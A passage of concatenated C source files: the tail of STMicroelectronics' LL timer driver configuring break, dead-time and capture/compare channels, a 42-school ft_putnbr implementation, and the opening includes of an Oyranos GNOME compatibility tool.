tmpccer &= (uint32_t)~(TIM_CCER_CC1P | TIM_CCER_CC1NP | TIM_CCER_CC2P | TIM_CCER_CC2NP);
tmpccer |= (uint32_t)(TIM_HallSensorInitStruct->IC1Polarity);
tmpccer |= (uint32_t)(TIM_CCER_CC1E | TIM_CCER_CC2E);
/* Write to TIMx CR2 */
LL_TIM_WriteReg(TIMx, CR2, tmpcr2);
/* Write to TIMx SMCR */
LL_TIM_WriteReg(TIMx, SMCR, tmpsmcr);
/* Write to TIMx CCMR1 */
LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
/* Write to TIMx CCR2 */
LL_TIM_OC_SetCompareCH2(TIMx, TIM_HallSensorInitStruct->CommutationDelay);
return SUCCESS;
}
/**
* @brief Set the fields of the Break and Dead Time configuration data structure
* to their default values.
* @param TIM_BDTRInitStruct pointer to a @ref LL_TIM_BDTR_InitTypeDef structure (Break and Dead Time configuration data structure)
* @retval None
*/
void LL_TIM_BDTR_StructInit(LL_TIM_BDTR_InitTypeDef *TIM_BDTRInitStruct)
{
/* Set the default configuration */
TIM_BDTRInitStruct->OSSRState = LL_TIM_OSSR_DISABLE;
TIM_BDTRInitStruct->OSSIState = LL_TIM_OSSI_DISABLE;
TIM_BDTRInitStruct->LockLevel = LL_TIM_LOCKLEVEL_OFF;
TIM_BDTRInitStruct->DeadTime = (uint8_t)0x00;
TIM_BDTRInitStruct->BreakState = LL_TIM_BREAK_DISABLE;
TIM_BDTRInitStruct->BreakPolarity = LL_TIM_BREAK_POLARITY_LOW;
TIM_BDTRInitStruct->BreakFilter = LL_TIM_BREAK_FILTER_FDIV1;
TIM_BDTRInitStruct->Break2State = LL_TIM_BREAK2_DISABLE;
TIM_BDTRInitStruct->Break2Polarity = LL_TIM_BREAK2_POLARITY_LOW;
TIM_BDTRInitStruct->Break2Filter = LL_TIM_BREAK2_FILTER_FDIV1;
TIM_BDTRInitStruct->AutomaticOutput = LL_TIM_AUTOMATICOUTPUT_DISABLE;
}
/**
* @brief Configure the Break and Dead Time feature of the timer instance.
* @note As the bits BK2P, BK2E, BK2F[3:0], BKF[3:0], AOE, BKP, BKE, OSSI, OSSR
* and DTG[7:0] can be write-locked depending on the LOCK configuration, it
* can be necessary to configure all of them during the first write access to
* the TIMx_BDTR register.
* @note Macro IS_TIM_BREAK_INSTANCE(TIMx) can be used to check whether or not
* a timer instance provides a break input.
* @note Macro IS_TIM_BKIN2_INSTANCE(TIMx) can be used to check whether or not
* a timer instance provides a second break input.
* @param TIMx Timer Instance
* @param TIM_BDTRInitStruct pointer to a @ref LL_TIM_BDTR_InitTypeDef structure (Break and Dead Time configuration data structure)
* @retval An ErrorStatus enumeration value:
* - SUCCESS: Break and Dead Time is initialized
* - ERROR: not applicable
*/
ErrorStatus LL_TIM_BDTR_Init(TIM_TypeDef *TIMx, LL_TIM_BDTR_InitTypeDef *TIM_BDTRInitStruct)
{
uint32_t tmpbdtr = 0;
/* Check the parameters */
assert_param(IS_TIM_BREAK_INSTANCE(TIMx));
assert_param(IS_LL_TIM_OSSR_STATE(TIM_BDTRInitStruct->OSSRState));
assert_param(IS_LL_TIM_OSSI_STATE(TIM_BDTRInitStruct->OSSIState));
assert_param(IS_LL_TIM_LOCK_LEVEL(TIM_BDTRInitStruct->LockLevel));
assert_param(IS_LL_TIM_BREAK_STATE(TIM_BDTRInitStruct->BreakState));
assert_param(IS_LL_TIM_BREAK_POLARITY(TIM_BDTRInitStruct->BreakPolarity));
assert_param(IS_LL_TIM_AUTOMATIC_OUTPUT_STATE(TIM_BDTRInitStruct->AutomaticOutput));
/* Set the Lock level, the Break enable Bit and the Polarity, the OSSR State,
the OSSI State, the dead time value and the Automatic Output Enable Bit */
/* Set the BDTR bits */
MODIFY_REG(tmpbdtr, TIM_BDTR_DTG, TIM_BDTRInitStruct->DeadTime);
MODIFY_REG(tmpbdtr, TIM_BDTR_LOCK, TIM_BDTRInitStruct->LockLevel);
MODIFY_REG(tmpbdtr, TIM_BDTR_OSSI, TIM_BDTRInitStruct->OSSIState);
MODIFY_REG(tmpbdtr, TIM_BDTR_OSSR, TIM_BDTRInitStruct->OSSRState);
MODIFY_REG(tmpbdtr, TIM_BDTR_BKE, TIM_BDTRInitStruct->BreakState);
MODIFY_REG(tmpbdtr, TIM_BDTR_BKP, TIM_BDTRInitStruct->BreakPolarity);
MODIFY_REG(tmpbdtr, TIM_BDTR_AOE, TIM_BDTRInitStruct->AutomaticOutput);
MODIFY_REG(tmpbdtr, TIM_BDTR_MOE, TIM_BDTRInitStruct->AutomaticOutput);
if (IS_TIM_ADVANCED_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_BREAK_FILTER(TIM_BDTRInitStruct->BreakFilter));
MODIFY_REG(tmpbdtr, TIM_BDTR_BKF, TIM_BDTRInitStruct->BreakFilter);
}
if (IS_TIM_BKIN2_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_BREAK2_STATE(TIM_BDTRInitStruct->Break2State));
assert_param(IS_LL_TIM_BREAK2_POLARITY(TIM_BDTRInitStruct->Break2Polarity));
assert_param(IS_LL_TIM_BREAK2_FILTER(TIM_BDTRInitStruct->Break2Filter));
/* Set the BREAK2 input related BDTR bit-fields */
MODIFY_REG(tmpbdtr, TIM_BDTR_BK2F, (TIM_BDTRInitStruct->Break2Filter));
MODIFY_REG(tmpbdtr, TIM_BDTR_BK2E, TIM_BDTRInitStruct->Break2State);
MODIFY_REG(tmpbdtr, TIM_BDTR_BK2P, TIM_BDTRInitStruct->Break2Polarity);
}
/* Set TIMx_BDTR */
LL_TIM_WriteReg(TIMx, BDTR, tmpbdtr);
return SUCCESS;
}
/**
* @}
*/
/**
* @}
*/
/** @addtogroup TIM_LL_Private_Functions TIM Private Functions
* @brief Private functions
* @{
*/
/**
* @brief Configure the TIMx output channel 1.
* @param TIMx Timer Instance
* @param TIM_OCInitStruct pointer to the the TIMx output channel 1 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus OC1Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct)
{
uint32_t tmpccmr1;
uint32_t tmpccer;
uint32_t tmpcr2;
/* Check the parameters */
assert_param(IS_TIM_CC1_INSTANCE(TIMx));
assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity));
/* Disable the Channel 1: Reset the CC1E Bit */
CLEAR_BIT(TIMx->CCER, TIM_CCER_CC1E);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Get the TIMx CR2 register value */
tmpcr2 = LL_TIM_ReadReg(TIMx, CR2);
/* Get the TIMx CCMR1 register value */
tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1);
/* Reset Capture/Compare selection Bits */
CLEAR_BIT(tmpccmr1, TIM_CCMR1_CC1S);
/* Set the Output Compare Mode */
MODIFY_REG(tmpccmr1, TIM_CCMR1_OC1M, TIM_OCInitStruct->OCMode);
/* Set the Output Compare Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC1P, TIM_OCInitStruct->OCPolarity);
/* Set the Output State */
MODIFY_REG(tmpccer, TIM_CCER_CC1E, TIM_OCInitStruct->OCState);
if (IS_TIM_BREAK_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState));
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState));
/* Set the complementary output Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC1NP, TIM_OCInitStruct->OCNPolarity << 2U);
/* Set the complementary output State */
MODIFY_REG(tmpccer, TIM_CCER_CC1NE, TIM_OCInitStruct->OCNState << 2U);
/* Set the Output Idle state */
MODIFY_REG(tmpcr2, TIM_CR2_OIS1, TIM_OCInitStruct->OCIdleState);
/* Set the complementary output Idle state */
MODIFY_REG(tmpcr2, TIM_CR2_OIS1N, TIM_OCInitStruct->OCNIdleState << 1U);
}
/* Write to TIMx CR2 */
LL_TIM_WriteReg(TIMx, CR2, tmpcr2);
/* Write to TIMx CCMR1 */
LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1);
/* Set the Capture Compare Register value */
LL_TIM_OC_SetCompareCH1(TIMx, TIM_OCInitStruct->CompareValue);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
return SUCCESS;
}
/**
* @brief Configure the TIMx output channel 2.
* @param TIMx Timer Instance
* @param TIM_OCInitStruct pointer to the the TIMx output channel 2 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus OC2Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct)
{
uint32_t tmpccmr1;
uint32_t tmpccer;
uint32_t tmpcr2;
/* Check the parameters */
assert_param(IS_TIM_CC2_INSTANCE(TIMx));
assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity));
/* Disable the Channel 2: Reset the CC2E Bit */
CLEAR_BIT(TIMx->CCER, TIM_CCER_CC2E);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Get the TIMx CR2 register value */
tmpcr2 = LL_TIM_ReadReg(TIMx, CR2);
/* Get the TIMx CCMR1 register value */
tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1);
/* Reset Capture/Compare selection Bits */
CLEAR_BIT(tmpccmr1, TIM_CCMR1_CC2S);
/* Select the Output Compare Mode */
MODIFY_REG(tmpccmr1, TIM_CCMR1_OC2M, TIM_OCInitStruct->OCMode << 8U);
/* Set the Output Compare Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC2P, TIM_OCInitStruct->OCPolarity << 4U);
/* Set the Output State */
MODIFY_REG(tmpccer, TIM_CCER_CC2E, TIM_OCInitStruct->OCState << 4U);
if (IS_TIM_BREAK_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState));
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState));
/* Set the complementary output Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC2NP, TIM_OCInitStruct->OCNPolarity << 6U);
/* Set the complementary output State */
MODIFY_REG(tmpccer, TIM_CCER_CC2NE, TIM_OCInitStruct->OCNState << 6U);
/* Set the Output Idle state */
MODIFY_REG(tmpcr2, TIM_CR2_OIS2, TIM_OCInitStruct->OCIdleState << 2U);
/* Set the complementary output Idle state */
MODIFY_REG(tmpcr2, TIM_CR2_OIS2N, TIM_OCInitStruct->OCNIdleState << 3U);
}
/* Write to TIMx CR2 */
LL_TIM_WriteReg(TIMx, CR2, tmpcr2);
/* Write to TIMx CCMR1 */
LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1);
/* Set the Capture Compare Register value */
LL_TIM_OC_SetCompareCH2(TIMx, TIM_OCInitStruct->CompareValue);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
return SUCCESS;
}
/**
* @brief Configure the TIMx output channel 3.
* @param TIMx Timer Instance
* @param TIM_OCInitStruct pointer to the the TIMx output channel 3 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus OC3Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct)
{
uint32_t tmpccmr2;
uint32_t tmpccer;
uint32_t tmpcr2;
/* Check the parameters */
assert_param(IS_TIM_CC3_INSTANCE(TIMx));
assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity));
/* Disable the Channel 3: Reset the CC3E Bit */
CLEAR_BIT(TIMx->CCER, TIM_CCER_CC3E);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Get the TIMx CR2 register value */
tmpcr2 = LL_TIM_ReadReg(TIMx, CR2);
/* Get the TIMx CCMR2 register value */
tmpccmr2 = LL_TIM_ReadReg(TIMx, CCMR2);
/* Reset Capture/Compare selection Bits */
CLEAR_BIT(tmpccmr2, TIM_CCMR2_CC3S);
/* Select the Output Compare Mode */
MODIFY_REG(tmpccmr2, TIM_CCMR2_OC3M, TIM_OCInitStruct->OCMode);
/* Set the Output Compare Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC3P, TIM_OCInitStruct->OCPolarity << 8U);
/* Set the Output State */
MODIFY_REG(tmpccer, TIM_CCER_CC3E, TIM_OCInitStruct->OCState << 8U);
if (IS_TIM_BREAK_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState));
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState));
/* Set the complementary output Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC3NP, TIM_OCInitStruct->OCNPolarity << 10U);
/* Set the complementary output State */
MODIFY_REG(tmpccer, TIM_CCER_CC3NE, TIM_OCInitStruct->OCNState << 10U);
/* Set the Output Idle state */
MODIFY_REG(tmpcr2, TIM_CR2_OIS3, TIM_OCInitStruct->OCIdleState << 4U);
/* Set the complementary output Idle state */
MODIFY_REG(tmpcr2, TIM_CR2_OIS3N, TIM_OCInitStruct->OCNIdleState << 5U);
}
/* Write to TIMx CR2 */
LL_TIM_WriteReg(TIMx, CR2, tmpcr2);
/* Write to TIMx CCMR2 */
LL_TIM_WriteReg(TIMx, CCMR2, tmpccmr2);
/* Set the Capture Compare Register value */
LL_TIM_OC_SetCompareCH3(TIMx, TIM_OCInitStruct->CompareValue);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
return SUCCESS;
}
/**
* @brief Configure the TIMx output channel 4.
* @param TIMx Timer Instance
* @param TIM_OCInitStruct pointer to the the TIMx output channel 4 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus OC4Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct)
{
uint32_t tmpccmr2;
uint32_t tmpccer;
uint32_t tmpcr2;
/* Check the parameters */
assert_param(IS_TIM_CC4_INSTANCE(TIMx));
assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState));
/* Disable the Channel 4: Reset the CC4E Bit */
CLEAR_BIT(TIMx->CCER, TIM_CCER_CC4E);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Get the TIMx CR2 register value */
tmpcr2 = LL_TIM_ReadReg(TIMx, CR2);
/* Get the TIMx CCMR2 register value */
tmpccmr2 = LL_TIM_ReadReg(TIMx, CCMR2);
/* Reset Capture/Compare selection Bits */
CLEAR_BIT(tmpccmr2, TIM_CCMR2_CC4S);
/* Select the Output Compare Mode */
MODIFY_REG(tmpccmr2, TIM_CCMR2_OC4M, TIM_OCInitStruct->OCMode << 8U);
/* Set the Output Compare Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC4P, TIM_OCInitStruct->OCPolarity << 12U);
/* Set the Output State */
MODIFY_REG(tmpccer, TIM_CCER_CC4E, TIM_OCInitStruct->OCState << 12U);
if (IS_TIM_BREAK_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState));
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState));
/* Set the Output Idle state */
MODIFY_REG(tmpcr2, TIM_CR2_OIS4, TIM_OCInitStruct->OCIdleState << 6U);
}
/* Write to TIMx CR2 */
LL_TIM_WriteReg(TIMx, CR2, tmpcr2);
/* Write to TIMx CCMR2 */
LL_TIM_WriteReg(TIMx, CCMR2, tmpccmr2);
/* Set the Capture Compare Register value */
LL_TIM_OC_SetCompareCH4(TIMx, TIM_OCInitStruct->CompareValue);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
return SUCCESS;
}
/**
* @brief Configure the TIMx output channel 5.
* @param TIMx Timer Instance
* @param TIM_OCInitStruct pointer to the the TIMx output channel 5 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus OC5Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct)
{
uint32_t tmpccmr3;
uint32_t tmpccer;
/* Check the parameters */
assert_param(IS_TIM_CC5_INSTANCE(TIMx));
assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState));
/* Disable the Channel 5: Reset the CC5E Bit */
CLEAR_BIT(TIMx->CCER, TIM_CCER_CC5E);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Get the TIMx CCMR3 register value */
tmpccmr3 = LL_TIM_ReadReg(TIMx, CCMR3);
/* Select the Output Compare Mode */
MODIFY_REG(tmpccmr3, TIM_CCMR3_OC5M, TIM_OCInitStruct->OCMode);
/* Set the Output Compare Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC5P, TIM_OCInitStruct->OCPolarity << 16U);
/* Set the Output State */
MODIFY_REG(tmpccer, TIM_CCER_CC5E, TIM_OCInitStruct->OCState << 16U);
if (IS_TIM_BREAK_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState));
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState));
/* Set the Output Idle state */
MODIFY_REG(TIMx->CR2, TIM_CR2_OIS5, TIM_OCInitStruct->OCIdleState << 8U);
}
/* Write to TIMx CCMR3 */
LL_TIM_WriteReg(TIMx, CCMR3, tmpccmr3);
/* Set the Capture Compare Register value */
LL_TIM_OC_SetCompareCH5(TIMx, TIM_OCInitStruct->CompareValue);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
return SUCCESS;
}
/**
* @brief Configure the TIMx output channel 6.
* @param TIMx Timer Instance
* @param TIM_OCInitStruct pointer to the the TIMx output channel 6 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus OC6Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct)
{
uint32_t tmpccmr3;
uint32_t tmpccer;
/* Check the parameters */
assert_param(IS_TIM_CC6_INSTANCE(TIMx));
assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity));
assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity));
assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState));
/* Disable the Channel 5: Reset the CC6E Bit */
CLEAR_BIT(TIMx->CCER, TIM_CCER_CC6E);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Get the TIMx CCMR3 register value */
tmpccmr3 = LL_TIM_ReadReg(TIMx, CCMR3);
/* Select the Output Compare Mode */
MODIFY_REG(tmpccmr3, TIM_CCMR3_OC6M, TIM_OCInitStruct->OCMode << 8U);
/* Set the Output Compare Polarity */
MODIFY_REG(tmpccer, TIM_CCER_CC6P, TIM_OCInitStruct->OCPolarity << 20U);
/* Set the Output State */
MODIFY_REG(tmpccer, TIM_CCER_CC6E, TIM_OCInitStruct->OCState << 20U);
if (IS_TIM_BREAK_INSTANCE(TIMx))
{
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState));
assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState));
/* Set the Output Idle state */
MODIFY_REG(TIMx->CR2, TIM_CR2_OIS6, TIM_OCInitStruct->OCIdleState << 10U);
}
/* Write to TIMx CCMR3 */
LL_TIM_WriteReg(TIMx, CCMR3, tmpccmr3);
/* Set the Capture Compare Register value */
LL_TIM_OC_SetCompareCH6(TIMx, TIM_OCInitStruct->CompareValue);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
return SUCCESS;
}
/**
* @brief Configure the TIMx input channel 1.
* @param TIMx Timer Instance
* @param TIM_ICInitStruct pointer to the the TIMx input channel 1 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus IC1Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct)
{
/* Check the parameters */
assert_param(IS_TIM_CC1_INSTANCE(TIMx));
assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity));
assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput));
assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler));
assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter));
/* Disable the Channel 1: Reset the CC1E Bit */
TIMx->CCER &= (uint32_t)~TIM_CCER_CC1E;
/* Select the Input and set the filter and the prescaler value */
MODIFY_REG(TIMx->CCMR1,
(TIM_CCMR1_CC1S | TIM_CCMR1_IC1F | TIM_CCMR1_IC1PSC),
(TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 16U);
/* Select the Polarity and set the CC1E Bit */
MODIFY_REG(TIMx->CCER,
(TIM_CCER_CC1P | TIM_CCER_CC1NP),
(TIM_ICInitStruct->ICPolarity | TIM_CCER_CC1E));
return SUCCESS;
}
/**
* @brief Configure the TIMx input channel 2.
* @param TIMx Timer Instance
* @param TIM_ICInitStruct pointer to the the TIMx input channel 2 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus IC2Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct)
{
/* Check the parameters */
assert_param(IS_TIM_CC2_INSTANCE(TIMx));
assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity));
assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput));
assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler));
assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter));
/* Disable the Channel 2: Reset the CC2E Bit */
TIMx->CCER &= (uint32_t)~TIM_CCER_CC2E;
/* Select the Input and set the filter and the prescaler value */
MODIFY_REG(TIMx->CCMR1,
(TIM_CCMR1_CC2S | TIM_CCMR1_IC2F | TIM_CCMR1_IC2PSC),
(TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 8U);
/* Select the Polarity and set the CC2E Bit */
MODIFY_REG(TIMx->CCER,
(TIM_CCER_CC2P | TIM_CCER_CC2NP),
((TIM_ICInitStruct->ICPolarity << 4U) | TIM_CCER_CC2E));
return SUCCESS;
}
/**
* @brief Configure the TIMx input channel 3.
* @param TIMx Timer Instance
* @param TIM_ICInitStruct pointer to the the TIMx input channel 3 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus IC3Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct)
{
/* Check the parameters */
assert_param(IS_TIM_CC3_INSTANCE(TIMx));
assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity));
assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput));
assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler));
assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter));
/* Disable the Channel 3: Reset the CC3E Bit */
TIMx->CCER &= (uint32_t)~TIM_CCER_CC3E;
/* Select the Input and set the filter and the prescaler value */
MODIFY_REG(TIMx->CCMR2,
(TIM_CCMR2_CC3S | TIM_CCMR2_IC3F | TIM_CCMR2_IC3PSC),
(TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 16U);
/* Select the Polarity and set the CC3E Bit */
MODIFY_REG(TIMx->CCER,
(TIM_CCER_CC3P | TIM_CCER_CC3NP),
((TIM_ICInitStruct->ICPolarity << 8U) | TIM_CCER_CC3E));
return SUCCESS;
}
/**
* @brief Configure the TIMx input channel 4.
* @param TIMx Timer Instance
* @param TIM_ICInitStruct pointer to the the TIMx input channel 4 configuration data structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
static ErrorStatus IC4Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct)
{
/* Check the parameters */
assert_param(IS_TIM_CC4_INSTANCE(TIMx));
assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity));
assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput));
assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler));
assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter));
/* Disable the Channel 4: Reset the CC4E Bit */
TIMx->CCER &= (uint32_t)~TIM_CCER_CC4E;
/* Select the Input and set the filter and the prescaler value */
MODIFY_REG(TIMx->CCMR2,
(TIM_CCMR2_CC4S | TIM_CCMR2_IC4F | TIM_CCMR2_IC4PSC),
(TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 8U);
/* Select the Polarity and set the CC2E Bit */
MODIFY_REG(TIMx->CCER,
(TIM_CCER_CC4P | TIM_CCER_CC4NP),
((TIM_ICInitStruct->ICPolarity << 12U) | TIM_CCER_CC4E));
return SUCCESS;
}
/**
* @}
*/
/**
* @}
*/
#endif /* TIM1 || TIM2 || TIM16 || TIM17 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/165768539.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_putnbr.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: soumanso <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/09/01 12:16:24 by soumanso #+# #+# */
/* Updated: 2021/09/02 03:02:46 by soumanso ### ########lyon.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
void ft_putchar(char c)
{
write(1, &c, 1);
}
unsigned int ft_signed_to_positive(int n)
{
unsigned int un;
if (n < 0)
un = -n;
else
un = n;
return (un);
}
void ft_putnbr(int nb)
{
char buffer[100];
int length;
unsigned int un;
un = ft_signed_to_positive(nb);
if (un == 0)
{
ft_putchar('0');
}
else
{
if (nb < 0)
{
ft_putchar('-');
}
length = 0;
while (un > 0)
{
buffer[99 - length] = '0' + (un % 10);
un /= 10;
length += 1;
}
write(1, &buffer[100 - length], length);
}
}
|
the_stack_data/67325107.c | /** @file oyranos-compat-gnome.c
*
* @par Copyright:
* 2016-2019 (C) Kai-Uwe Behrmann
*
* @brief compatibility tool for handling gnome monitor profiles
* @internal
* @author Kai-Uwe Behrmann <[email protected]>
* @par License:
* new BSD <http://www.opensource.org/licenses/BSD-3-Clause>
* @since 2016/11/22
*/
/* gcc -Wall -g -ldl oyranos-compat-gnome.c -o oyranos-compat-gnome */
#include <dlfcn.h> /* dlopen() */
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
